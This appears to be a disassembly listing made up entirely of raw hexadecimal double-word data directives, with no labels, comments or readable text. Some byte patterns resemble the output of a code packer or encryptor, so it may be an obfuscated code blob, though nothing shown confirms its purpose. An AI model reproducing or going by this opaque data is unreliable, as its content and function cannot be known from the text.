		dd 5E68FFFAh, 0E9093AB7h, 0FFFAD1D4h, 3AB86E68h, 0D1CAE909h
		dd 193BFFFAh, 419DFBCh,	0E778009Dh, 47DFA1FAh, 9E974952h
		dd 0E099A2FBh, 0F5A6332Ah, 0B0EDE883h, 0F4A93628h, 0B6E7F06Ch
		dd 9E24BA12h, 9A12FB94h, 2B47CA09h, 5DD143AEh, 3D885744h
		dd 343B6965h, 0E8150364h, 1B9D2BC6h, 0DC13011Bh, 8BC29B89h
		dd 0DC928523h, 20h, 0C39B2EABh,	724AD50Bh, 28AE1503h, 11953BC9h
		dd 0CF561301h, 29A9E4E5h, 0CDBE9285h, 0D000000h, 43AE2B47h
		dd 0B24158D1h, 3EB5223Eh, 792756CAh, 1C364153h,	4E4FA147h
		dd 3645F76Eh, 0AC35291Ch, 8C366C20h, 881C363Dh,	47B98E66h
		dd 0B843AE2Bh, 0AB2E45EDh, 7D458945h, 0F4CC169Dh, 0DF75813Bh
		dd 1502C698h, 36118A0Ch, 38A5BB63h, 54C937B9h, 0CC22A64Dh
		dd 6DF4E200h, 0E8120BCCh, 0F4E57C75h, 0E885F7FAh, 707E02F1h
		dd 4C8CE84h, 0EE8663FAh, 797762F9h, 0A3F8F67Ah,	0C86544DDh
		dd 509E22D1h, 0A27EBF94h, 0AB931EE9h, 0B54h, 0DDBE1B39h
		dd 29B061Bh, 0A7F4E17Eh, 0FBA03931h, 0B0EDEC85h, 7DF496E3h
		dd 0A2B93F5Ch, 7CF26637h, 0A6BA3E5Fh, 206C6439h, 0FB933882h
		dd 1C9F2C12h, 0F2AB2E47h, 0D3B7F26Eh, 0B2D80ADBh, 25069759h
		dd 5FD39B2Eh, 8220AC42h, 15037193h, 6AC4769h, 6E842BB6h
		dd 1F51784h, 464D73h, 0AD970E13h, 85F461ACh, 0D70692h
		dd 47C50000h, 6A1EAE2Bh, 36418E34h, 90648A1Ch, 6D216D11h
		dd 36418D37h, 7D67891Ch, 1C364137h, 8321AD33h, 1C364139h
		dd 0D14BAB2Dh, 22B24158h, 1C36464Bh, 0E8F6819Dh, 1C363DE2h
		dd 372ED0D6h, 23CD4FA2h, 851C11ABh, 7562FA6Eh, 0DA9E7B7Bh
		dd 4B755946h, 0A62DC9D4h, 0EEB48E19h, 1C363DC4h, 4FE01EC0h
		dd 0D31D9F52h, 64A2E5FBh, 90161503h, 0B1693C0Bh, 0A411711Dh
		dd 4FEAEB67h, 0B821AF47h, 0AC0BCC20h, 118A22Ah,	0E47D0398h
		dd 0A4D0F1F5h, 26CDE9A2h, 0A533Ch, 0BD1A3800h, 9C0518E0h
		dd 0FBE679FFh, 5146DEA2h, 0FC9D944Ch, 23E7949Fh, 4A0E8F0Ah
		dd 21D7C4D1h, 5709920Fh, 0EBDDBEDBh, 92B7FDA3h,	22B312FBh
		dd 0AB2E47A1h, 0ABC23CF2h, 0B541C32Eh, 0E1BA273Bh, 0AE2B47F2h
		dd 445DD143h, 0DCF97688h, 718B4318h, 9C10E3FEh,	1CD81683h
		dd 66663E89h, 35D8D38h,	3F457D15h, 4D627AEDh, 575907EFh
		dd 40A90C9Ch, 0F96C1301h, 0FEFB520Bh, 0AA6C9284h, 16000006h
		dd 0E50C8DA4h, 0A6F85F63h, 0BB0D4633h, 9B2E943Bh, 9F0CE95h
		dd 2FC1256Ch, 3782019Fh, 70761503h, 38CDF381h, 178E1301h
		dd 6E12C2Dh, 76869285h,	45000006h, 0BC39B2Eh, 34372D5h
		dd 0B1406615h, 1409D23h, 4851CD13h, 713A37A9h, 0FA99EA76h
		dd 569D5321h, 11C8F2B0h, 1ABC1301h, 73765EC3h, 0F8DDC71Eh
		dd 129AEBC8h, 655D30E4h, 565A821Fh, 933BBB8Dh, 9285533Ah
		dd 62C2Dh, 0A495E00h, 0C804DCE7h, 355271Ah, 938B0D15h
		dd 0EE54F2ADh, 0A67E4986h, 0E1D7826h, 0DD038FE3h, 663E8916h
		dd 12ED1666h, 0BC73372Ch, 88389438h, 0FC9C4361h, 79D59CEh
		dd 88EE6739h, 8B7AB3Dh,	1616F0DAh, 2CC2E497h, 21AD43C5h
		dd 0E115809Fh, 32AFC33Dh, 5E7BF769h, 0C06D5186h, 0BDA54C6Eh
		dd 8F4h, 3D5E7BD9h, 623BA6BBh, 8714819Eh, 5B4059D1h, 900D8CA5h
		dd 1D14F683h, 0C2591F7Ch, 1C12C6D7h, 0C65A1E7Fh, 0C00CC4D9h
		dd 0FB919822h, 0BCFF8C12h, 568C2B47h, 1C36416Ch, 807A4668h
		dd 0BF50A388h, 47D41FD1h, 2BBCB47Ch, 0AB46A835h, 35BC2539h
		dd 1BB33DB3h, 0CDDD085h, 9902A415h, 1CBD9B5h, 0F512FB86h
		dd 2645D3C5h, 28C67C61h, 0EBA036CCh, 248012FBh,	5C9D64Ah
		dd 9C3937C9h, 0FBEB7C46h, 7E767812h, 0A9971EA9h, 6185FA3Ah
		dd 0A428C6D7h, 0FBFABCFEh, 9636B812h, 0FB06ACF2h, 7D0012FBh
		dd 2217B042h, 7C781EA4h, 0F2EF83F5h, 41A51BA9h,	5BD512FCh
		dd 57695D3Eh, 0C537BFDAh, 33C130A9h, 0DA8FB18Dh, 0BB988C99h
		dd 51EBD10Fh, 8BDF2570h, 766C2D19h, 5F1FF52h, 7FDC978Bh
		dd 4A4FE4F6h, 0EB7C5E76h, 4CE09805h, 0AE10A053h, 622570EBh
		dd 8E0B209Ah, 5F7AF163h, 24106591h, 0FCA2DD51h,	2570CBB6h
		dd 0D9C22CB2h, 0E1C58DF5h, 439EE204h, 100C3B3h,	47040000h
		dd 34A1BE2Bh, 0FAAA12BAh, 738049AEh, 7F1A13EDh,	7D04F074h
		dd 6988150Bh, 3622F1DBh, 0A40D211Ch, 65E70A8Fh,	0C8DB688Bh
		dd 2D26BC10h, 51150CCFh, 0D023B6AFh, 1BD5C25Ch,	638325DBh
		dd 0F2DAF532h, 95DEC86Bh, 7A000007h, 0DEA2FBD8h, 93455643h
		dd 0E49C019Ch, 8E524B4Ch, 0A2990297h, 910821E9h, 0BADF540Ch
		dd 94011FE1h, 0C4DD5107h, 79DF1D7h, 12FB90BDh, 47A72CB9h
		dd 0D143AE2Bh, 0A45C4158h, 0C8900D8Ah, 79834B54h, 23F8FCE5h
		dd 0EDB3C45Dh, 1C3641C7h, 20D31DC3h, 0CD24B5ACh, 7306EE5Fh
		dd 0CBEDFFAh, 894FF9C1h, 11A6h,	0F6ACE000h, 1C364DCCh
		dd 2FCE26C8h, 0B1D1h, 2B470200h, 13B543AEh, 0C71C3652h
		dd 879B6E56h, 1108B21Ah, 0C98F6C88h, 19A74A57h,	1C3631B6h
		dd 8608B894h, 9726B90Dh, 12024FA7h, 814B5935h, 751C363Ah
		dd 0BC177D45h, 0F1FFE596h, 8958B05h, 2947A093h,	5DD345ACh
		dd 2DC4DD50h, 3AAE45ABh, 0C63AB926h, 0B1263EABh, 0C130BE42h
		dd 0D79282D3h, 0BB45892Dh, 22A83AA7h, 161C3641h, 0E1F66E90h
		dd 19668E12h, 0C4E2E2Bh, 2F954BF5h, 2B1C35A7h, 51EC3D85h
		dd 0F3535969h, 7FE4FA8Eh, 6E6B0577h, 0E02F8F2Dh, 7F531C35h
		dd 89505F51h
		dd 0FFFEA21Ah, 0EB1579FFh, 0A68E6673h, 349h, 5C45D8E2h
		dd 2B47F998h, 3B543AEh,	121C3642h, 900D229Ch, 20250F64h
		dd 0E014819Eh, 88B7F26Eh, 82B9D34Dh, 0FB7E40Ah,	896871EDh
		dd 0E17DEF07h, 0F602C8D6h, 0F0F61C35h, 9B3474D0h, 0C02EFDA5h
		dd 5F0DA331h, 912B1C35h, 79F3039Eh, 6AF5FCE5h, 9947875Fh
		dd 150C0BC4h, 0BA2738C2h, 2BAEC537h, 54AA44C8h,	0B537BADFh
		dd 0C0DF9341h, 5671EB29h, 0ABB82CC2h, 32F2DA4Eh, 5F6C7AFh
		dd 79DB0000h, 0A4B93F5Ch, 8798603Dh, 67FF811Ah,	0BEB72972h
		dd 0C0B9821Bh, 0D5C6D34Ah, 108D0823h, 0D4C9D648h, 1687100Ch
		dd 7E445A32h, 7A12FB8Eh, 2B476A69h, 0BE35A2BEh,	993DB43Ah
		dd 4205AFF5h, 0DF011C36h, 0D8CA517h, 4B54C890h,	2978E52h
		dd 5E47DEFh, 4886B6Eh, 4C9907EAh, 3B4AD58h, 3641D7DDh
		dd 0F5CDD31Ch, 68A6CE73h, 6E2FC1C4h, 509891BCh,	253D689h
		dd 2EB50000h, 9C2CC787h, 0E2D8BBFCh, 559C3D34h,	7B703CA5h
		dd 78867E0Dh, 87F5FCE5h, 464B2E16h, 0DDFA7688h,	0FFD8CC19h
		dd 883E8ECEh, 22499h, 872EFA00h, 0D18D9A99h, 35EFA913h
		dd 0C7FB9D1Ch, 717FFE2Ah, 4973315Dh, 3D1C35F1h,	0DBAF5B9Bh
		dd 0F1CBF1AFh, 19BF1C35h, 0F17D47DDh, 77791C35h, 6CACEC7Ch
		dd 0B035E2D8h, 0ABCA03C4h, 1EA0883Eh, 0DA5E9502h, 1DB6B1Ah
		dd 2E1C0000h, 0D907C787h, 1C3641FFh, 0BD11BDE3h, 36419D27h
		dd 0E27991Ch, 0AE4688Bh, 0D5D563EAh, 0EE2D8BCh,	36A3BE40h
		dd 0C68371BEh, 579F3834h, 3EFB56B7h, 1A31188h, 11BD0000h
		dd 474BE9D3h, 3BBBDD1Dh, 0C7872E94h, 41FBD907h,	0C9DF1C36h
		dd 1A54C55h, 3641D9E3h,	25CBCD1Ch, 189828CBh, 0C9E2D8BCh
		dd 1E6F685Ch, 49883EFCh, 16Dh, 0AE2B478Ah, 445DD143h, 0D14D6F57h
		dd 0E992CC8h, 0EC847656h, 415F0BEBh, 1503641Eh,	9725CCD2h
		dd 13011B31h, 0C88173F2h, 92852385h, 3CE2h, 9B2EB100h
		dd 0BBF0BC3h, 3641EFD5h, 0FDA3EB1Ch, 1C3641B7h,	33C32DB3h
		dd 371729Dh, 0FE708615h, 54E40FE1h, 13011172h, 9C2B233h
		dd 928529C4h, 0ADA3h, 44DDDF00h, 0DA1A9E55h, 0AE2B4733h
		dd 4158D143h, 0C5223EB2h, 50C42FAAh, 0BE30BEDBh, 34ADC133h
		dd 8C092698h, 0BEB19368h, 6E1C3646h, 27B8E5F2h,	0B6FCA29Ch
		dd 0BC1C363Dh, 363D9C26h, 0AC16981Ch, 0F608C42Ah, 12965D7Ah
		dd 0C1A836E2h, 0B71501EEh, 0A239D31h, 0D34A0E8Fh, 0B23C59D6h
		dd 0D7F72F32h, 1B03AEF2h, 3CCh,	752683B1h, 2A736E03h, 7F1CB9B6h
		dd 237861F9h, 0C8D5C45Dh, 55CCBECBh, 8AA15744h,	54CA8E0Fh
		dd 8EA25647h, 0E8A48C11h, 0FB8D10BAh, 0F4D70412h, 6974EB15h
		dd 7C19168Ah, 2978C72h,	0F8E178F2h, 5841DDA3h, 2B479043h
		dd 839C1EAEh, 9D59DB16h, 0A21C7016h, 0ECD60C89h, 0E81C3641h
		dd 266DB98h, 0AD437CDEh, 9C398321h, 0AB2D1C35h,	445DD14Bh
		dd 9C428557h, 4E591C35h, 36923696h, 359C22A8h, 6E90161Ch
		dd 7E14E0F5h, 1502A08Fh, 338B4365h, 0AD1C7FF9h,	0D4DE04C3h
		dd 0D01300B2h, 0F7D420CEh, 0AE2B4754h, 445DD143h, 653D8857h
		dd 64343B69h, 8AF21503h, 0AA739350h, 31DF1750h,	12B444AFh
		dd 42130134h, 0CF41B02Dh, 18AB4653h, 2F601B09h,	0C00DCEB6h
		dd 0A792850Bh, 2Ah, 0D39B2EE8h,	41B33E5Bh, 0BC40B32Eh
		dd 0D210BC32h, 15037243h, 2CBC37B9h, 1301118Ah,	0F1EADA4Bh
		dd 9285299Ch, 114CBh, 2B47FC00h, 58D143AEh, 223EB241h
		dd 233CADC5h, 16B638B6h, 0CA676F66h, 668E9A21h,	438743E7h
		dd 358C179Dh, 578D131Ch, 1C358C6Dh, 3DAF4769h, 0DE69621h
		dd 0B4F66C3Eh, 135F657Fh, 3F651C36h, 1C361375h,	63556F71h
		dd 0CD23CDC8h, 0BF53C101h, 4627D19Eh, 740BD9AEh, 921C359Ch
		dd 62FBF468h, 0F6F87C77h, 37D79FBh, 605A726Fh, 0AE22D1CEh
		dd 2CC826B3h, 0C95894Fh, 1F900C0h, 0E6F35D34h, 9FEB8F0Eh
		dd 3591BB01h, 0CD29AF1Ch, 17B76F3Ah, 2BDEE89h, 8F0C9215h
		dd 0A12DE5B0h, 0CC5A2E03h, 2CA0460Bh, 0D2C75E60h, 3419AA10h
		dd 0FCF89E1Ch, 22B7AE50h, 6B6E0779h, 0A26A5C7Bh, 0F8E281E9h
		dd 204h, 2D6E4BE9h, 722BB6ABh, 376471EEh, 6B30A9C1h, 405D7CF5h
		dd 0ED840673h, 3229AFECh, 0EC82F6A7h, 362AAEEFh, 903CF4A9h
		dd 0FB8A6852h, 8C2F5C12h, 0F2AB2E47h, 1DC3F26Eh, 1C364197h
		dd 0EBE30D93h, 25F1EE93h, 605A9E1Fh, 10CA83C3h,	805D9957h
		dd 0A19B2ECBh, 3641B903h, 6C75E91Ch, 4A702E56h,	3E1C3641h
		dd 34985698h, 3719F6Eh,	752B5F15h, 1301114Fh, 0A351A54Bh
		dd 6066F6FDh, 90130111h, 7E1B1099h, 120F8170h, 0F7C6C87h
		dd 0D84D4225h, 29A2EBECh, 0BBC59285h, 6000000h,	43AE2B47h
		dd 0B24158D1h, 410AB40Ch, 0E80B968Bh, 0E4475C64h, 0E39A28CCh
		dd 151C3597h, 331B8019h, 43BC14Bh, 5F17D74h, 0EDDC978Bh
		dd 0DC763855h, 4DDA19D7h, 902AA27Ah, 53F7FF98h,	33AD28Dh
		dd 3930C615h, 21CF51A0h, 0D8EB7Ch, 0D3F016CCh, 0C2E40BCCh
		dd 6079F00Ah, 0F769933Bh, 99900AEAh, 0B76C8D2h,	0E907ECAAh
		dd 0A32390FDh, 7C660DE9h, 0F4h,	3D5E7BD9h, 623BA6BBh, 8714819Eh
		dd 5B4059D1h, 900D8CA5h, 1D14F683h, 0C2591F7Ch,	1C12C6D7h
		dd 0C65A1E7Fh, 0C00CC4D9h, 0FB899822h, 0BCFF8C12h, 0F2AB2E47h
		dd 31AEC23Ch, 0A8D74BC5h, 3641D0FAh, 0CC22C41Ch, 2B47DCCFh
		dd 5DD143AEh, 41367C22h, 0F66E1C36h, 348E12E1h,	30903CB2h
		dd 0E096BE37h, 0B08D6990h, 59E840Fh, 5A976471h,	0B4EAE20Ch
		dd 150CA9B3h, 40B43F61h, 2DA8C32Ch, 0A26DAC3h, 0CC0668Dh
		dd 0FB58ECD6h, 2EC6E812h, 1910B1A0h, 0A78D1016h, 0CD1158D4h
		dd 0B22F42A9h, 0E905BD3Fh, 0EBB03E4Ah, 18A7B943h, 0D73E408Ah
		dd 3CB23411h, 0AD2A46B8h, 0B82E6121h, 0C033A6BFh, 1C16843Ch
		dd 74E8678Fh, 2818DBFCh, 507A2864h, 4411D68Ah, 0C74E1EA2h
		dd 90D8C9Dh, 0A7AC98EDh, 949C49D7h, 0FDF9FA8Ch,	0A9F2EF83h
		dd 539E3B37h, 36Bh, 844F9C00h, 41B01547h, 0AB4653CFh, 37BA2739h
		dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h
		dd 2AC9D04Dh, 4EC815Dh,	89000000h, 0E6892434h, 4C681h
		dd 0EE830000h, 24348704h, 0E189515Ch, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68240C89h, 0AAFh, 0B9242C89h, 366D7E1Bh
		dd 5480F181h, 0D9F76827h, 7EBD5549h, 311A5505h,	0C9815DE9h
		dd 5E433B7Fh, 0B18DC181h, 0EC830956h, 24248904h, 4240483h
		dd 4F05685Dh, 14890000h, 8BA24h, 0EA010000h, 0FF5A0A89h
		dd 835D2434h, 0C8B04C4h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 0C4BAE95Ch, 24EDFFFAh, 85D0A927h,	59051F45h
		dd 0B80C6187h, 93AB987h, 0E0FFC503h, 130C6868h,	4E0C4031h
		dd 131F1DDh, 5BF00EBEh,	5747C774h, 573FAABFh, 325F6A7Ch
		dd 6540260Bh, 6AE8403Ah, 23EB215h, 9BF742Ch, 207785B8h
		dd 1D46F697h, 15D8E10h,	78D70069h, 377B5682h, 739A403Fh
		dd 63F43AACh, 1E5B48F5h, 30060CF4h, 63018A1Fh, 74A80C3Ah
		dd 2DEBh, 0DD00000h, 319CBFAEh,	0ADF9DFF2h, 8C88A7A5h
		dd 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h, 14672681h
		dd 6B03B2BDh, 0E976A850h, 0B1Fh, 3ABBDD68h, 0C40EE909h
		dd 6968FFFAh, 0E9093ABDh, 0FFFAC404h, 3ABE9668h, 0C3FAE909h
		dd 3F68FFFAh
		dd 0E9093ABFh, 0FFFAC3F0h, 3AC03268h, 0C3E6E909h, 568FFFAh
		dd 0E9093AC1h, 0FFFAC3DCh, 3AC18468h, 0C3D2E909h, 6668FFFAh
		dd 0E9093AC3h, 0FFFAC3C8h, 3AC47768h, 0C3BEE909h, 0D2FFFFAh
		dd 0F06DF3A8h, 332CB4E9h, 0EB83F5A6h, 322BADEEh, 4C3DF6A7h
		dd 6932A7BEh, 44597CF7h, 6835A2BCh, 3A637CF0h, 22A83696h
		dd 1612FB86h, 9B2E4685h, 96D50BC3h, 82150CF8h, 0D24E705Ch
		dd 0C20D8C5h, 36833B93h, 0C9CC7D67h, 9926AD49h,	5276560Eh
		dd 0CC28B1A8h, 0D2330036h, 67FCFE0Bh, 0CACC8272h, 0D5F6C602h
		dd 0B8890492h, 0BC2E6DAh, 2C13A3F9h, 0CDDA56C8h, 0F3A84653h
		dd 63F8F16Dh, 7F97B76h,	4B836D68h, 715B617Fh, 494F1C35h
		dd 7E8026ADh, 6F02F2E7h, 607E4A24h, 1C35715Ah, 309A484Eh
		dd 241C3571h, 2C606C82h, 218DF654h, 0CB2B07B2h,	2F1C635h
		dd 38AC3215h, 0F2D5B451h, 6FFDE58Ch, 6A000009h,	2EB2EBC8h
		dd 83F5A633h, 34ACF1ECh, 7E029B3Ch, 0F2A9F2E7h,	6178F199h
		dd 2AAFC43Ch, 6471EF71h, 34ADC137h, 0D70DC167h,	12FB86EDh
		dd 1517BCE9h, 886B76EBh, 0E27EF004h, 968AFEF5h,	0B0AC0519h
		dd 0A648CC27h, 7627C94Bh, 95E7F0D0h, 0D47D5326h, 4FA7342Ah
		dd 0B3EBF1C4h, 40AA12EDh, 638D0827h, 0BCA3418Dh, 0BA150295h
		dd 43AE2B40h, 5A02FB93h, 4EA1E65h, 559C42F0h, 8C3D1B1h
		dd 0C66A710Eh, 5D1EA02Eh, 0D24E1300h, 0A2BA2EC5h, 0DC29BE35h
		dd 21840DE8h, 0E1F31A33h, 85779285h, 5605F1E8h,	44h, 3908E30h
		dd 9F546CF0h, 0D2D2F6DAh, 2E20BF37h, 0D50BC39Bh, 1503724Ah
		dd 1AA428AEh, 0F2D9502h, 56873ACEh, 0D765EC08h,	130079F1h
		dd 844133B2h, 79309A48h, 82241300h, 0C183CA72h,	0DDE49285h
		dd 0A3000000h, 6772EB15h, 0A8011D8Fh, 0B7223BB4h, 0B836B83Ch
		dd 2BAEC739h, 0BFD854C8h, 0F06C8E34h, 6C880CE7h, 3C617EF2h
		dd 3640F9A8h, 7EF7091Ch, 3E21AB39h, 93151C36h, 0A22965Dh
		dd 0CE2668Dh, 0DDFA76E8h, 79F406C0h, 84534D32h,	0C02EE9B5h
		dd 39A6BA34h, 2AB814BAh, 1C3587A0h, 4FE21294h, 8C408C44h
		dd 16DDFA72h, 0E40F8CA2h, 0D8668E60h, 1502AEB5h, 9948B35h
		dd 0ECB137EDh, 8FA0485Bh, 90F0DC12h, 737EC64Fh,	6C10E44Ah
		dd 0CCEDA836h, 824A4C0Bh, 0A3F8E178h, 915544DDh, 0E9A3146Eh
		dd 0E39A842Fh, 0DE000007h, 9246577Ch, 0E799029Fh, 88504D48h
		dd 0E2960790h, 464D4E4Bh, 0BDDC5535h, 960318E0h, 0C0DD5305h
		dd 900925DBh, 3B69250Bh, 12FB8491h, 47735885h, 6EF2AB2Eh
		dd 13B8E5F2h, 6B76EB15h, 65F00488h, 7948A52h, 1C9DE5E9h
		dd 0A9789EAh, 3F5D65E7h, 0B05C98BEh, 29E23F2h, 0F7D7D915h
		dd 0E83A95C7h, 508E3D3Bh, 1300EB6Ah, 3EB6385Eh,	316F1BBFh
		dd 1300EB8Bh, 79D597Fh,	1300EBC1h, 18312382h, 92854FB5h
		dd 0DCB2h, 2B47E100h, 58D143AEh, 6F22B241h, 0C11C3641h
		dd 0F16734ADh, 2468647Dh, 363E347Eh, 1EAE301Ch,	363E3A80h
		dd 4CA82E1Ch, 0B76F3AC5h, 65068917h, 0BC041503h, 2E00B7A5h
		dd 0D951AFB8h, 687E34C0h, 890BE6F3h, 1EA93667h,	0B8428646h
		dd 38BC37A0h, 0DBB926BCh, 3BC50BCCh, 0CF15B924h, 1C339BE5h
		dd 8937BFE1h, 53A10C39h, 0A37B5158h, 0B3903070h, 0E6E60814h
		dd 903C5DD4h, 21CA63Ch,	0DC541C34h, 0EB438BBh, 0DAFF7688h
		dd 8C619517h, 0AAFDDAA2h, 2F23B624h, 0BDDC55C7h, 0A316EC29h
		dd 4832B1E9h, 6B6h, 752683B1h, 2A736E03h, 7F1CB9B6h, 237861F9h
		dd 0C8D5C45Dh, 55CCBECBh, 8AA15744h, 54CA8E0Fh,	8EA25647h
		dd 0E8A48C11h, 0FB8410BAh, 0F4D70412h, 0F2AB2E47h, 0B8E5F26Eh
		dd 72EB1513h, 15DCF977h, 12965D93h, 0EBF468E2h,	0DD989408h
		dd 3641FDC7h, 0F9F7F91Ch, 41FEC0A4h, 0D0FC1C36h, 3641A812h
		dd 5B44D81Ch, 24AF4769h, 0CF15B991h, 150CF886h,	0CAF5687Eh
		dd 0FB87AE14h, 0EA04AA12h, 0FA04C804h, 37D7966h, 0B729726Fh
		dd 48D31EBBh, 7B29A57Dh, 0BC8A270h, 71985424h, 8FF70ABFh
		dd 0BF4E8561h, 0A44FE9AFh, 60DBAh, 8D2A0800h, 0CCD54810h
		dd 8B1609CFh, 0C1D64E12h, 8C0D24DCh, 9377040Fh,	0DA9EFF9Ah
		dd 91475441h, 0E799029Fh, 5B4D4E4Bh, 82476D33h,	924312FBh
		dd 0AE2B4731h, 51D9F43h, 72EE6094h, 61A8E65h, 49E65A99h
		dd 0DD23A54Ch, 0AF9D5445h, 9173765Eh, 89A55044h, 0E7A38B10h
		dd 364213B9h, 0AE2B431Ch, 0ED03C143h, 6F876970h, 4FF97ECFh
		dd 7E989h, 0D1AA0000h, 185h, 41A52B02h,	0E9BC1C36h, 0A3BF2A41h
		dd 0B739BB36h, 0CE14B83Ch, 1C3641E4h, 9C30BEE0h, 4552CEF0h
		dd 3641159Fh, 3F851B1Ch, 3B1C3641h, 6D890FB5h, 0F81523C1h
		dd 5929150Ch, 8B05E6DAh, 0BA12DC08h, 1BB32C40h,	0A42D5163h
		dd 0E80C2B97h, 0D8D14D13h, 37975946h, 0C62DACC5h, 0A02BB242h
		dd 0C9D04D15h, 18BDB62Ah, 579957D9h, 0A8826977h, 70760BC8h
		dd 0B0037574h, 0E1C968E9h, 51Ah, 19822715h, 0CECFCA67h
		dd 1388150Ah, 0D7C4D54Dh, 0C910821h, 99907A0Fh,	4EE59B00h
		dd 908E524Bh, 4AE69A03h, 3458504Dh, 0FB81446Eh,	30934012h
		dd 43AE2B47h, 0A559DF9Fh, 9E37C94h, 0E2FF73EDh,	4034A10Fh
		dd 0FDE47983h, 88272F6h, 20128B14h, 895075EDh, 0C7Ah, 0B1AA5400h
		dd 0D131D024h, 0A5h, 0D39B2E02h, 1FAF415Ch, 0CF7E281h
		dd 0BC109615h, 0ECB12E42h, 38A1B842h, 0C12E42BCh, 34BF31A8h
		dd 88441CA7h, 1BDBF876h, 3DFF316Fh, 0EDF30BD2h,	6643DFE1h
		dd 0DC02CACFh, 1C3641D6h, 7922CCD2h, 0AB362BD5h, 36BEDB55h
		dd 0C42FA8C4h, 18B46C37h, 348778Ah, 0FC758715h,	176B19DDh
		dd 84898352h, 0DF07E951h, 0F2D618D8h, 47745E05h, 42000004h
		dd 76EAB310h, 3BBDDEFBh, 1CE4B924h, 560A9304h, 0DAE1BADFh
		dd 6970E9A1h, 22B7AC34h, 6C690779h, 2CB5A92Fh, 0CF15B96Fh
		dd 12FB80E5h, 0D10FB4E1h, 0F5h,	0C39B2E02h, 0F896D50Bh
		dd 5C82150Ch, 0C5D24E70h, 930C20D8h, 8C0D360h, 3E081EC4h
		dd 62260BD2h, 3641763Ch, 886C721Ch, 6F8D4DAh, 0A8306D6Ah
		dd 3BC82BB4h, 861CB068h, 15034873h, 66875F81h, 77F2D563h
		dd 3C802ECh, 91C30000h,	7CF16734h, 0AFC03865h, 7FF76932h
		dd 0A6BF415Ah, 0D8B16A33h, 0FD9E3B32h, 0A8F5E07Bh, 0FCA13E30h
		dd 0AEEFE884h, 0A60CD2FAh, 0A212FB80h, 2B47D2F1h, 0EB9F43AEh
		dd 36420FB5h, 11E50B1Ch, 0DB16839Fh, 0F34206Dh,	419F25BBh
		dd 5BD71C36h, 9262843Eh, 29B0418h, 4FF9FD50h, 4B6A89h
		dd 2E290000h, 0D50BC39Bh, 15030DF1h, 0F10BC3E5h, 96D9357Eh
		dd 0A58E5600h, 0ECB5FFh, 0C12FB113h, 0E7CE6E2Fh, 191300ECh
		dd 47FF9C05h, 0E5FBBCB5h, 1300ECDFh, 0D81BD5DBh, 312EA054h
		dd 0D9A94DA4h, 6BC50F9Ah, 5038BC5Eh, 31Eh, 0AC294781h
		dd 205FD345h, 36413882h, 44AA2C1Ch, 148DA157h, 0BCF76BDDh
		dd 617FEF28h, 9834BA1Dh, 1104AEF4h, 0DE001C36h,	13A64116h
		dd 0F269933Bh, 6C880CE7h, 333B22C0h, 0AF311503h, 2B12B444h
		dd 2C421301h, 0B6CD7B81h, 0E608E67Fh, 1A87990Bh, 8FC69D7h
		dd 1E6A246Dh, 1143A80h,	0A4B82E13h, 0D34BB53Bh,	0F3E12EC6h
		dd 4C4DE4D6h, 2AC508A8h, 2CA29285h, 0EC000000h,	0B2415ED2h
		dd 2E27C62Eh, 0D50BC39Bh, 1503724Ah, 3BC928AEh,	13011195h
		dd 0E4E5CF56h, 928529A9h, 0B3263FC1h, 0F49443h,	47F30000h
		dd 35A2BE2Bh, 0ADC438BBh, 3FB2273Ch
		dd 41BF059Bh, 35BB1C36h, 18BE35BBh, 1EC1DF68h, 65915208h
		dd 876A77EBh, 1B801915h, 36005A49h, 0BEE4A81Ch,	1C35FFF4h
		dd 9406EEF0h, 2DCFFF98h, 7826A633h, 1C35FF52h, 7754A046h
		dd 7D746D01h, 0DFEFA7F2h, 32CA6C1h, 0D11C6415h,	0BCD952A6h
		dd 0E9897C04h, 4C51570Dh, 4242287Bh, 7B91712Ah,	0CC00EEh
		dd 2EAC16CCh, 6A81301h,	0E2CF60EEh, 0C3E50BCCh,	6178F10Bh
		dd 2CADC43Ch, 0A2FE4BB8h, 0E7CF52E9h, 1E6h, 455673E1h
		dd 9A039E93h, 4F4C49E6h, 93089189h, 584554CDh, 0C55C2E5Bh
		dd 1A11C7D4h, 0C45A1E7Fh, 1E12C6D7h, 58341C81h,	0FB7E804Ah
		dd 64677412h, 597D2E47h, 30FF90C2h, 1011B94Eh, 0A14F45EEh
		dd 968A4E4Fh, 273BC509h, 4D9337BAh, 1C363467h, 1BB33D63h
		dd 36343F85h, 41B53B1Ch, 9B2EC76Ch, 4AD50BC3h, 0B8150372h
		dd 8E07AC14h, 8968F3Eh,	0B5F0DAh, 5DD2E413h, 9846AE40h
		dd 6B4DDB16h, 2C1300B5h, 0BB12CBB9h, 0AC928585h, 0BAh
		dd 2BB915DBh, 1C3641A1h, 69E31395h, 0AE14CAF5h,	0AA1C3641h
		dd 0D8E2EA04h, 169D5946h, 0E30E8BA2h, 36414655h, 6572EE1Ch
		dd 33ACC038h, 0A86033C0h, 6ADF7E24h, 13951503h,	0DFD03BBh
		dd 13DEFB76h, 10483191h, 0DB6C41B5h, 26BC10C8h,	0BCBF3E0h
		dd 0C8F2B0D4h, 0BC1C33F3h, 0C8F8D41Ah, 0F2BA5D83h, 0F3975F4Ch
		dd 854950C9h, 0F7FAE77Bh, 34AC8175h, 25B2AC3Dh,	0DCA61BCBh
		dd 6CF7E9A2h, 0D582h, 4562D000h, 148DA058h, 435ED187h
		dd 98EA65Ah, 4455CC94h,	5B2F5C57h, 12C6D7C2h, 591F7C19h
		dd 3FC1DAC7h, 43E5B623h, 7D6F558Bh, 3A6B12FBh, 0AB2E4799h
		dd 0E5F26EF2h, 2B4713B8h, 0C130A5BEh, 0CE42B13Fh, 4E631752h
		dd 0C53B4CBAh, 4BC722Bh, 0A2BF5336h, 8838BC37h,	64FD1080h
		dd 0F4FA7E75h, 6A227500h, 0E7562662h, 577D32B5h, 0E55CF202h
		dd 0D150C40h, 43C114B5h, 43BD6D64h, 0C044AF2Ah,	99587E34h
		dd 0D8E0B27h, 119CD74Bh, 6AFE54F6h, 0D9753F65h,	6F7112FBh
		dd 0F4846F81h, 5A6A6BE1h, 0E4977DE0h, 7D7F4F48h, 861308E1h
		dd 29AF8C68h, 0A145AC35h, 0A02551E1h, 7F773026h, 6D84150Dh
		dd 53260E7Fh, 415ED2DFh, 0F66AEEAFh, 3200AE9h, 71000000h
